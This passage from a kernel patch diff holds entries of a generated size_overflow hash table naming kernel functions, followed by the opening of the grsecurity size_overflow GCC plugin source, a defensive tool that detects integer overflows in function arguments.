++_003620_hash dvb_generic_ioctl 2 21810 _003620_hash NULL ++_003621_hash dvb_net_ioctl 2 61559 _003621_hash NULL ++_003622_hash enlarge_skb 2 44248 _003622_hash NULL ++_003623_hash evdev_ioctl_handler 2 21705 _003623_hash NULL ++_003624_hash fuse_perform_write 4 18457 _003624_hash NULL ++_003625_hash fw_device_op_ioctl 2 11595 _003625_hash NULL ++_003626_hash generic_file_buffered_write 4 25464 _003626_hash NULL ++_003627_hash gen_pool_add 3 21776 _003627_hash NULL ++_003628_hash ieee80211_skb_resize 3 50211 _003628_hash NULL ++_003629_hash ip_options_get 4 56538 _003629_hash NULL ++_003630_hash ip_send_reply 5 19987 _003630_hash NULL ++_003631_hash __iscsi_complete_pdu 4 10726 _003631_hash NULL ++_003632_hash iscsi_nop_out_rsp 4 51117 _003632_hash NULL ++_003633_hash joydev_ioctl 2 33343 _003633_hash NULL ++_003634_hash mlx4_init_cmpt_table 3 11569 _003634_hash NULL ++_003635_hash mptctl_ioctl 2 12355 _003635_hash NULL ++_003636_hash mthca_alloc_cq_buf 3 46512 _003636_hash NULL ++_003637_hash named_prepare_buf 2 24532 _003637_hash NULL ++_003638_hash netlink_change_ngroups 2 16457 _003638_hash NULL ++_003639_hash netxen_nic_hw_read_wx_128M 2 26858 _003639_hash NULL ++_003640_hash netxen_nic_hw_write_wx_128M 2 33488 _003640_hash NULL ++_003642_hash osd_req_add_get_attr_list 3 49278 _003642_hash NULL ++_003643_hash pcpu_build_alloc_info 1-3-2 41443 _003643_hash NULL ++_003646_hash ping_sendmsg 4 3782 _003646_hash NULL ++_003647_hash __pskb_pull_tail 2 60287 _003647_hash NULL ++_003648_hash raid5_resize 2 63306 _003648_hash NULL ++_003649_hash rxrpc_sendmsg 4 29049 _003649_hash NULL ++_003650_hash sctp_make_abort 3 34459 _003650_hash NULL ++_003651_hash sctp_make_asconf 3 4078 _003651_hash NULL ++_003652_hash sctp_make_asconf_ack 3 31726 _003652_hash NULL ++_003653_hash sctp_make_datafrag_empty 3 34737 _003653_hash NULL ++_003654_hash sctp_make_fwdtsn 3 53265 _003654_hash NULL ++_003655_hash sctp_make_heartbeat_ack 4 34411 _003655_hash NULL ++_003656_hash sctp_make_init 4 58401 _003656_hash NULL ++_003657_hash sctp_make_init_ack 4 3335 _003657_hash NULL ++_003658_hash sctp_make_op_error_space 3 5528 _003658_hash NULL ++_003659_hash sctp_tsnmap_mark 2 35929 _003659_hash NULL ++_003663_hash sisusb_clear_vram 2-3 57466 _003663_hash NULL ++_003665_hash sisusb_copy_memory 4 35016 _003665_hash NULL ++_003666_hash sisusb_write 3 44834 _003666_hash NULL ++_003667_hash __skb_cow 2 39254 _003667_hash NULL ++_003668_hash skb_pad 2 17302 _003668_hash NULL ++_003669_hash skb_realloc_headroom 2 19516 _003669_hash NULL ++_003670_hash snd_pcm_plug_alloc 2 42339 _003670_hash NULL ++_003673_hash subdev_ioctl 2 28417 _003673_hash NULL ++_003674_hash sys_get_mempolicy 3 30379 _003674_hash NULL ++_003675_hash sys_init_module 2 36047 _003675_hash NULL ++_003676_hash sys_mbind 5 7990 _003676_hash NULL ++_003677_hash sys_migrate_pages 2 39825 _003677_hash NULL ++_003678_hash sys_setgroups 1 48668 _003678_hash &_001127_hash ++_003679_hash sys_setgroups16 1 48882 _003679_hash NULL ++_003680_hash sys_set_mempolicy 3 32608 _003680_hash NULL ++_003681_hash tipc_msg_build 4 12326 _003681_hash NULL ++_003682_hash __tty_buffer_request_room 2 27700 _003682_hash NULL ++_003683_hash ubifs_recover_leb 3 60639 _003683_hash NULL ++_003684_hash udp_sendmsg 4 4492 _003684_hash NULL ++_003685_hash udp_setsockopt 5 25985 _003685_hash NULL ++_003686_hash udpv6_setsockopt 5 18487 _003686_hash NULL ++_003687_hash uvc_v4l2_ioctl 2 8411 _003687_hash NULL ++_003688_hash videobuf_read_stream 3 14956 _003688_hash NULL ++_003689_hash video_ioctl2 2 21380 _003689_hash NULL ++_003690_hash video_read 3 28148 _003690_hash NULL ++_003691_hash write_head 4 30481 _003691_hash NULL ++_003692_hash write_node 4 33121 _003692_hash NULL ++_003693_hash write_pbl 4 59583 _003693_hash NULL ++_003694_hash xfs_dir2_block_to_sf 3 37868 _003694_hash NULL ++_003695_hash xfs_dir2_sf_addname_hard 3 54254 _003695_hash NULL ++_003696_hash xfs_readdir 3 41200 _003696_hash NULL ++_003697_hash xlog_bread_offset 3 60030 _003697_hash NULL ++_003698_hash zr364xx_read 3 2354 _003698_hash NULL ++_003699_hash au0828_v4l2_read 3 40220 _003699_hash NULL ++_003700_hash audit_log_n_hex 3 45617 _003700_hash NULL ++_003701_hash audit_log_n_string 3 31705 _003701_hash NULL ++_003702_hash beiscsi_process_async_pdu 7 39834 _003702_hash NULL ++_003703_hash __btrfs_direct_write 4 22273 _003703_hash NULL ++_003704_hash btrfs_file_aio_write 4 21520 _003704_hash NULL ++_003705_hash cx231xx_v4l2_read 3 55014 _003705_hash NULL ++_003706_hash cx25821_video_ioctl 2 30188 _003706_hash NULL ++_003707_hash em28xx_v4l2_read 3 16701 _003707_hash NULL ++_003708_hash evdev_ioctl 2 22371 _003708_hash NULL ++_003709_hash fuse_file_aio_write 4 46399 _003709_hash NULL ++_003710_hash iscsi_complete_pdu 4 48372 _003710_hash NULL ++_003711_hash isdn_ppp_skb_push 2 5236 _003711_hash NULL ++_003712_hash ivtv_v4l2_ioctl 2 16915 _003712_hash NULL ++_003713_hash mpeg_read 3 6708 _003713_hash NULL ++_003714_hash mthca_alloc_resize_buf 3 60394 _003714_hash NULL ++_003715_hash mthca_init_cq 2 60011 _003715_hash NULL ++_003716_hash named_distribute 4 48544 _003716_hash NULL ++_003717_hash __nf_nat_mangle_tcp_packet 5-7 8190 _003717_hash NULL ++_003719_hash nf_nat_mangle_udp_packet 5-7 13321 _003719_hash NULL ++_003722_hash pcpu_embed_first_chunk 1-3-2 24224 _003722_hash NULL ++_003724_hash pcpu_page_first_chunk 1 20712 _003724_hash NULL ++_003725_hash pd_video_read 3 24510 _003725_hash NULL ++_003726_hash pskb_may_pull 2 22546 _003726_hash NULL ++_003727_hash __pskb_pull 2 42602 _003727_hash NULL ++_003728_hash pvr2_v4l2_ioctl 2 24398 _003728_hash &_000854_hash ++_003729_hash sctp_abort_pkt_new 5 55218 _003729_hash NULL ++_003730_hash sctp_make_abort_violation 4 27959 _003730_hash NULL ++_003731_hash sctp_make_op_error 5-6 7057 _003731_hash NULL ++_003734_hash sisusbcon_bmove 5-7-6 21873 _003734_hash NULL ++_003737_hash sisusbcon_clear 3-5-4 64329 _003737_hash NULL ++_003740_hash sisusbcon_putcs 3 57630 _003740_hash &_001003_hash ++_003741_hash sisusbcon_scroll 5-3-2 31315 _003741_hash NULL ++_003742_hash sisusbcon_scroll_area 3-4 25899 _003742_hash NULL ++_003744_hash skb_cow 2 26138 _003744_hash NULL ++_003745_hash skb_cow_head 2 52495 _003745_hash NULL ++_003746_hash skb_make_writable 2 24783 _003746_hash NULL ++_003747_hash skb_padto 2 50759 _003747_hash NULL ++_003748_hash solo_enc_read 3 33553 _003748_hash NULL ++_003749_hash solo_v4l2_read 3 59247 _003749_hash NULL ++_003750_hash timblogiw_read 3 48305 _003750_hash NULL ++_003751_hash tipc_multicast 5 49144 _003751_hash NULL ++_003752_hash tipc_port_recv_sections 4 42890 _003752_hash NULL ++_003753_hash tipc_port_reject_sections 5 55229 _003753_hash NULL ++_003754_hash tm6000_read 3 4151 _003754_hash NULL ++_003755_hash trim_bitmaps 3 24158 _003755_hash NULL ++_003756_hash trim_no_bitmap 3 22524 _003756_hash NULL ++_003757_hash tty_buffer_request_room 2 23228 _003757_hash NULL ++_003758_hash tty_insert_flip_string_fixed_flag 4 37428 _003758_hash NULL ++_003759_hash tty_insert_flip_string_flags 4 30969 _003759_hash NULL ++_003760_hash tty_prepare_flip_string 3 39955 _003760_hash NULL ++_003761_hash tty_prepare_flip_string_flags 4 59240 _003761_hash NULL ++_003762_hash ubifs_recover_log_leb 3 12079 _003762_hash NULL ++_003763_hash vbi_read 3 63673 _003763_hash NULL ++_003764_hash xfs_file_buffered_aio_write 4 11492 _003764_hash NULL ++_003765_hash xlog_do_recovery_pass 3 21618 _003765_hash NULL ++_003766_hash zoran_ioctl 2 30465 _003766_hash NULL ++_003767_hash audit_log_n_untrustedstring 3 9548 _003767_hash NULL ++_003768_hash bla_is_backbone_gw 3 53001 _003768_hash NULL ++_003769_hash btrfs_trim_block_group 3 28963 _003769_hash NULL ++_003770_hash check_header 2 56930 _003770_hash NULL ++_003771_hash check_management_packet 3 976 _003771_hash NULL ++_003772_hash check_unicast_packet 2 62217 _003772_hash NULL ++_003773_hash cx18_v4l2_ioctl 2 46647 _003773_hash NULL ++_003774_hash dccp_manip_pkt 2 30229 _003774_hash NULL ++_003775_hash dma_push_rx 2 39973 _003775_hash NULL ++_003776_hash ftdi_process_packet 5 45005 _003776_hash NULL ++_003777_hash gre_manip_pkt 2 38785 _003777_hash NULL ++_003778_hash handle_response 5 55951 _003778_hash NULL ++_003779_hash handle_response_icmp 7 39574 _003779_hash NULL ++_003780_hash help 4 14971 _003780_hash NULL ++_003781_hash icmp_manip_pkt 2 48801 _003781_hash NULL ++_003782_hash interface_rx 4 20404 _003782_hash NULL ++_003783_hash ip4ip6_err 5 36772 _003783_hash NULL ++_003784_hash ip6ip6_err 5 18308 _003784_hash NULL ++_003785_hash ip_vs_icmp_xmit 4 59624 _003785_hash NULL ++_003786_hash ip_vs_icmp_xmit_v6 4 20464 _003786_hash NULL ++_003787_hash iscsi_iser_recv 4 41948 _003787_hash NULL ++_003788_hash l2tp_xmit_skb 3 42672 _003788_hash NULL ++_003789_hash mangle_packet 6-8 27864 _003789_hash NULL ++_003791_hash manip_pkt 3 7741 _003791_hash NULL ++_003792_hash mthca_resize_cq 2 19333 _003792_hash NULL ++_003793_hash my_skb_head_push 2 58297 _003793_hash NULL ++_003794_hash nf_nat_mangle_tcp_packet 5-7 8643 _003794_hash NULL ++_003797_hash pskb_network_may_pull 2 35336 _003797_hash NULL ++_003798_hash pskb_pull 2 65005 _003798_hash NULL ++_003799_hash replay_log_leb 3 18704 _003799_hash NULL ++_003800_hash sctp_manip_pkt 2 40620 _003800_hash NULL ++_003801_hash sctp_sf_abort_violation 6 38380 _003801_hash NULL ++_003806_hash skb_gro_header_slow 2 34958 _003806_hash NULL ++_003807_hash tcf_csum_skb_nextlayer 3 64025 _003807_hash NULL ++_003808_hash tcp_manip_pkt 2 14202 _003808_hash NULL ++_003809_hash tty_audit_log 8 47280 _003809_hash NULL ++_003810_hash tty_insert_flip_string 3 34042 _003810_hash NULL ++_003811_hash udplite_manip_pkt 2 62433 _003811_hash NULL ++_003812_hash udp_manip_pkt 2 50770 _003812_hash NULL ++_003813_hash xfs_file_aio_write 4 33234 _003813_hash NULL ++_003814_hash xlog_do_log_recovery 3 17550 _003814_hash NULL ++_003815_hash afs_extract_data 5 50261 _003815_hash NULL ++_003816_hash aircable_process_packet 5 46639 _003816_hash NULL ++_003817_hash edge_tty_recv 4 18667 _003817_hash &_002287_hash ++_003818_hash gigaset_if_receive 3 4861 _003818_hash NULL ++_003819_hash gsm_dlci_data 3 14155 _003819_hash NULL ++_003820_hash ifx_spi_insert_flip_string 3 51752 _003820_hash NULL ++_003821_hash ip_nat_sdp_port 6 52938 _003821_hash NULL ++_003822_hash ip_nat_sip_expect 7 45693 _003822_hash NULL ++_003823_hash ipwireless_tty_received 3 49154 _003823_hash NULL ++_003824_hash iser_rcv_completion 2 8048 _003824_hash NULL ++_003825_hash mangle_sdp_packet 9 36279 _003825_hash NULL ++_003826_hash map_addr 6 4666 _003826_hash NULL ++_003827_hash nf_nat_ftp 5 47948 _003827_hash NULL ++_003828_hash pty_write 3 44757 _003828_hash &_001547_hash ++_003829_hash push_rx 3 28939 _003829_hash NULL ++_003830_hash put_data_to_circ_buf 3 24869 _003830_hash &_001419_hash ++_003831_hash rds_tcp_data_recv 3 53476 _003831_hash NULL ++_003832_hash send_to_tty 3 45141 _003832_hash NULL ++_003834_hash tcf_csum_ipv4_icmp 3 9258 _003834_hash NULL ++_003835_hash tcf_csum_ipv4_igmp 3 60446 _003835_hash NULL ++_003836_hash tcf_csum_ipv4_tcp 4 39713 _003836_hash NULL ++_003837_hash tcf_csum_ipv4_udp 4 30777 _003837_hash &_000218_hash ++_003838_hash tcf_csum_ipv6_icmp 4 11738 _003838_hash NULL ++_003839_hash tcf_csum_ipv6_tcp 4 54877 _003839_hash NULL ++_003840_hash tcf_csum_ipv6_udp 4 25241 _003840_hash NULL ++_003841_hash ti_recv 4 22027 _003841_hash NULL ++_003842_hash xlog_do_recover 3 59789 _003842_hash NULL ++_003843_hash ip_nat_sdp_media 8 23386 _003843_hash NULL ++_003844_hash lock_loop 1 61681 _003844_hash NULL ++_003845_hash max3107_handlerx 2 58978 _003845_hash NULL ++_003846_hash process_rcvd_data 3 6679 _003846_hash NULL ++_003847_hash alloc_mr 1 45935 _003847_hash NULL ++_003848_hash compat_core_sys_select 1 65285 _003848_hash NULL ++_003849_hash compat_dccp_setsockopt 5 51263 _003849_hash NULL ++_003850_hash compat_ip_setsockopt 5 13870 _003850_hash &_003115_hash ++_003851_hash compat_ipv6_setsockopt 5 20468 _003851_hash NULL ++_003852_hash compat_mpctl_ioctl 2 45671 _003852_hash NULL ++_003853_hash compat_raw_setsockopt 5 30634 _003853_hash NULL ++_003854_hash compat_rawv6_setsockopt 5 4967 _003854_hash NULL ++_003855_hash compat_sys_get_mempolicy 3 31109 _003855_hash NULL ++_003856_hash compat_sys_mbind 5 36256 _003856_hash NULL ++_003857_hash compat_sys_migrate_pages 2 3157 _003857_hash NULL ++_003858_hash compat_sys_set_mempolicy 3 57742 _003858_hash &_002222_hash ++_003859_hash evdev_ioctl_compat 2 13851 _003859_hash NULL ++_003860_hash fw_device_op_compat_ioctl 2 42804 _003860_hash NULL ++_003861_hash gnttab_expand 1 15817 _003861_hash NULL ++_003862_hash hiddev_compat_ioctl 2 41255 _003862_hash NULL ++_003863_hash joydev_compat_ioctl 2 8765 _003863_hash NULL ++_003864_hash mon_bin_compat_ioctl 3 50234 _003864_hash NULL ++_003865_hash spidev_compat_ioctl 2 63778 _003865_hash NULL ++_003866_hash uvc_v4l2_compat_ioctl32 2 8375 _003866_hash NULL ++_003867_hash xlbd_reserve_minors 1-2 18365 _003867_hash NULL ++_003868_hash compat_sys_select 1 16131 _003868_hash NULL ++_003869_hash compat_udp_setsockopt 5 38840 _003869_hash NULL ++_003870_hash compat_udpv6_setsockopt 5 42981 _003870_hash NULL ++_003871_hash do_compat_pselect 1 10398 _003871_hash NULL ++_003872_hash get_free_entries 1 46030 _003872_hash NULL ++_003873_hash ipath_reg_phys_mr 3 23918 _003873_hash &_000963_hash ++_003874_hash qib_alloc_fast_reg_mr 2 12526 _003874_hash NULL ++_003875_hash qib_reg_phys_mr 3 60202 _003875_hash &_000872_hash ++_003876_hash compat_sys_pselect6 1 14105 _003876_hash NULL ++_003877_hash gnttab_alloc_grant_references 1 18240 _003877_hash NULL ++_003878_hash alc_auto_create_extra_outs 2 18975 _003878_hash NULL ++_003879_hash _alloc_cdb_cont 2 23609 _003879_hash NULL ++_003880_hash _alloc_set_attr_list 4 48991 _003880_hash NULL ++_003881_hash __btrfs_free_reserved_extent 2 31207 _003881_hash NULL ++_003882_hash btrfsic_create_link_to_next_block 4 58246 _003882_hash NULL ++_003883_hash diva_alloc_dma_map 2 23798 _003883_hash NULL ++_003884_hash diva_xdi_write 4 63975 _003884_hash NULL ++_003885_hash gsm_control_reply 4 53333 _003885_hash NULL ++_003886_hash iwm_ntf_rx_packet 3 60452 _003886_hash NULL ++_003887_hash macvtap_recvmsg 4 63949 _003887_hash NULL ++_003890_hash smp_send_cmd 3 512 _003890_hash NULL ++_003891_hash tun_recvmsg 4 48463 _003891_hash NULL ++_003892_hash um_idi_read 3 850 _003892_hash NULL ++_003893_hash _add_sg_continuation_descriptor 3 54721 _003893_hash NULL ++_003894_hash btrfs_free_and_pin_reserved_extent 2 53016 _003894_hash NULL ++_003895_hash btrfs_free_reserved_extent 2 9867 _003895_hash NULL ++_003896_hash diva_init_dma_map 3 58336 _003896_hash NULL ++_003897_hash divas_write 3 63901 _003897_hash NULL ++_003898_hash gsm_control_message 4 18209 _003898_hash NULL ++_003899_hash gsm_control_modem 3 55303 _003899_hash NULL ++_003900_hash gsm_control_rls 3 3353 _003900_hash NULL ++_003901_hash osd_req_read_sg 5 47905 _003901_hash NULL ++_003902_hash osd_req_write_sg 5 50908 _003902_hash NULL ++_003903_hash agp_remap 2 30665 _003903_hash NULL ++_003904_hash alloc_arraycache 2 47505 _003904_hash NULL ++_003905_hash drm_buffer_alloc 2 44405 _003905_hash NULL ++_003906_hash drm_ioctl 2 42813 _003906_hash NULL ++_003907_hash fbcon_do_set_font 2-3 4079 _003907_hash NULL ++_003909_hash slabinfo_write 3 18600 _003909_hash NULL ++_003910_hash do_tune_cpucache 2 14828 _003910_hash NULL ++_003911_hash drm_compat_ioctl 2 51717 _003911_hash NULL ++_003912_hash i915_compat_ioctl 2 3656 _003912_hash NULL ++_003913_hash ath6kl_usb_bmi_read 3 48745 _003913_hash NULL ++_003914_hash ath6kl_usb_bmi_write 3 2454 _003914_hash &_000981_hash ++_003915_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003915_hash NULL ++_003916_hash mga_compat_ioctl 2 52170 _003916_hash NULL ++_003918_hash netlink_send 5 38434 _003918_hash NULL ++_003919_hash nouveau_compat_ioctl 2 28305 _003919_hash NULL ++_003920_hash persistent_ram_vmap 1-2 709 _003920_hash NULL ++_003922_hash psb_unlocked_ioctl 2 16926 _003922_hash &_002255_hash ++_003923_hash r128_compat_ioctl 2 39250 _003923_hash NULL ++_003924_hash radeon_compat_ioctl 2 59150 _003924_hash NULL ++_003925_hash radeon_kms_compat_ioctl 2 51371 _003925_hash NULL ++_003926_hash viacam_read 3 54526 _003926_hash NULL ++_003927_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003927_hash &_001074_hash ++_003928_hash vmw_framebuffer_surface_dirty 6 48132 _003928_hash NULL ++_003929_hash vmw_unlocked_ioctl 2 19212 _003929_hash NULL ++_003930_hash wl1251_cmd_template_set 4 6172 _003930_hash NULL ++_003931_hash cma_create_area 2 38642 _003931_hash NULL +diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c +--- compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_plugin.c 2012-10-15 19:11:12.874824568 +0000 +@@ -0,0 +1,1879 @@ ++/* ++ * Copyright 2011, 2012 by Emese Revfy ++ * Licensed under the GPL v2, or (at your option) v3 ++ * ++ * Homepage: ++ * http://www.grsecurity.net/~ephox/overflow_plugin/ ++ * ++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute ++ * with double integer precision (DImode/TImode for 32/64 bit integer types). ++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed. ++ * ++ * Usage: ++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c ++ * $ gcc -fplugin=size_overflow_plugin.so test.c -O2 ++ */ ++ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "intl.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "toplev.h" ++#include "function.h" ++#include "tree-flow.h" ++#include "plugin.h" ++#include "gimple.h" ++#include "c-common.h" ++#include "diagnostic.h" ++#include "cfgloop.h" ++ ++#if BUILDING_GCC_VERSION >= 4007 ++#include "c-tree.h" ++#else ++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP) ++#endif ++ ++struct size_overflow_hash { ++ const struct size_overflow_hash * const next; ++ const char * const name; ++ const unsigned int param; ++}; ++ ++#include "size_overflow_hash.h" ++ ++enum marked { ++ MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL ++}; ++ ++#define __unused __attribute__((__unused__)) ++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node)) ++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node)) ++#define BEFORE_STMT true ++#define AFTER_STMT false ++#define CREATE_NEW_VAR NULL_TREE ++#define CODES_LIMIT 32 ++#define MAX_PARAM 32 ++#define MY_STMT GF_PLF_1 ++#define NO_CAST_CHECK GF_PLF_2 ++ ++#if BUILDING_GCC_VERSION == 4005 ++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE))) ++#endif ++ ++int plugin_is_GPL_compatible; ++void debug_gimple_stmt(gimple gs); ++ ++static tree expand(struct pointer_set_t *visited, tree lhs); ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs); ++static tree report_size_overflow_decl; ++static const_tree const_char_ptr_type_node; ++static unsigned int handle_function(void); ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before); ++static tree get_size_overflow_type(gimple stmt, const_tree node); ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3); ++ ++static struct plugin_info size_overflow_plugin_info = { ++ .version = "20120930beta", ++ .help = "no-size-overflow\tturn off size overflow checking\n", ++}; ++ ++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ default: ++ *no_add_attrs = true; ++ error("%s: %qE attribute only applies to functions", __func__, name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static const char* get_asm_name(tree node) ++{ ++ return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node)); ++} ++ ++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count, arg_num; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ case FIELD_DECL: ++ arg_num = TREE_INT_CST_LOW(TREE_VALUE(args)); ++ if (arg_num != 0) { ++ *no_add_attrs = true; ++ error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name); ++ } ++ return NULL_TREE; ++ default: ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec size_overflow_attr = { ++ .name = "size_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_size_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static struct attribute_spec intentional_overflow_attr = { ++ .name = "intentional_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_intentional_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void __unused *event_data, void __unused *data) ++{ ++ register_attribute(&size_overflow_attr); ++ register_attribute(&intentional_overflow_attr); ++} ++ ++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html ++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed) ++{ ++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); } ++#define cwmixa( in ) { cwfold( in, m, k, h ); } ++#define cwmixb( in ) { cwfold( in, n, h, k ); } ++ ++ unsigned int m = 0x57559429; ++ unsigned int n = 0x5052acdb; ++ const unsigned int *key4 = (const unsigned int *)key; ++ unsigned int h = len; ++ unsigned int k = len + seed + n; ++ unsigned long long p; ++ ++ while (len >= 8) { ++ cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2; ++ len -= 8; ++ } ++ if (len >= 4) { ++ cwmixb(key4[0]) key4 += 1; ++ len -= 4; ++ } ++ if (len) ++ cwmixa(key4[0] & ((1 << (len * 8)) - 1 )); ++ cwmixb(h ^ (k + n)); ++ return k ^ h; ++ ++#undef cwfold ++#undef cwmixa ++#undef cwmixb ++} ++ ++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed) ++{ ++ unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff; ++ unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff; ++ return fn ^ codes; ++} ++ ++static inline tree get_original_function_decl(tree fndecl) ++{ ++ if (DECL_ABSTRACT_ORIGIN(fndecl)) ++ return DECL_ABSTRACT_ORIGIN(fndecl); ++ return fndecl; ++} ++ ++static inline gimple get_def_stmt(const_tree node) ++{ ++ gcc_assert(node != NULL_TREE); ++ gcc_assert(TREE_CODE(node) == SSA_NAME); ++ return SSA_NAME_DEF_STMT(node); ++} ++ ++static unsigned char get_tree_code(const_tree type) ++{ ++ switch (TREE_CODE(type)) { ++ case ARRAY_TYPE: ++ return 0; ++ case BOOLEAN_TYPE: ++ return 1; ++ case ENUMERAL_TYPE: ++ return 2; ++ case FUNCTION_TYPE: ++ return 3; ++ case INTEGER_TYPE: ++ return 4; ++ case POINTER_TYPE: ++ return 5; ++ case RECORD_TYPE: ++ return 6; ++ case UNION_TYPE: ++ return 7; ++ case VOID_TYPE: ++ return 8; ++ case REAL_TYPE: ++ return 9; ++ case VECTOR_TYPE: ++ return 10; ++ case REFERENCE_TYPE: ++ return 11; ++ case OFFSET_TYPE: ++ return 12; ++ case COMPLEX_TYPE: ++ return 13; ++ default: ++ debug_tree((tree)type); ++ gcc_unreachable(); ++ } ++} ++ ++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len) ++{ ++ gcc_assert(type != NULL_TREE); ++ ++ while (type && len < CODES_LIMIT) { ++ tree_codes[len] = get_tree_code(type); ++ len++; ++ type = TREE_TYPE(type); ++ } ++ return len; ++} ++ ++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes) ++{ ++ const_tree arg, result, arg_field, type = TREE_TYPE(fndecl); ++ enum tree_code code = TREE_CODE(type); ++ size_t len = 0; ++ ++ gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE); ++ ++ arg = TYPE_ARG_TYPES(type); ++ // skip builtins __builtin_constant_p ++ if (!arg && DECL_BUILT_IN(fndecl)) ++ return 0; ++ ++ if (TREE_CODE_CLASS(code) == tcc_type) ++ result = type; ++ else ++ result = DECL_RESULT(fndecl); ++ ++ gcc_assert(result != NULL_TREE); ++ len = add_type_codes(TREE_TYPE(result), tree_codes, len); ++ ++ if (arg == NULL_TREE) { ++ gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON)); ++ arg_field = DECL_ARGUMENT_FLD(fndecl); ++ if (arg_field == NULL_TREE) ++ return 0; ++ arg = TREE_TYPE(arg_field); ++ len = add_type_codes(arg, tree_codes, len); ++ gcc_assert(len != 0); ++ return len; ++ } ++ ++ gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST); ++ while (arg && len < CODES_LIMIT) { ++ len = add_type_codes(TREE_VALUE(arg), tree_codes, len); ++ arg = TREE_CHAIN(arg); ++ } ++ ++ gcc_assert(len != 0); ++ return len; ++} ++ ++static const struct size_overflow_hash *get_function_hash(tree fndecl) ++{ ++ unsigned int hash; ++ const struct size_overflow_hash *entry; ++ unsigned char tree_codes[CODES_LIMIT]; ++ size_t len; ++ const char *func_name = get_asm_name(fndecl); ++ ++ len = get_function_decl(fndecl, tree_codes); ++ if (len == 0) ++ return NULL; ++ ++ hash = get_hash_num(func_name, (const char*) tree_codes, len, 0); ++ ++ entry = size_overflow_hash[hash]; ++ while (entry) { ++ if (!strcmp(entry->name, func_name)) ++ return entry; ++ entry = entry->next; ++ } ++ ++ return NULL; ++} ++ ++static void check_arg_type(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ enum tree_code code = TREE_CODE(type); ++ ++ gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE || ++ (code == 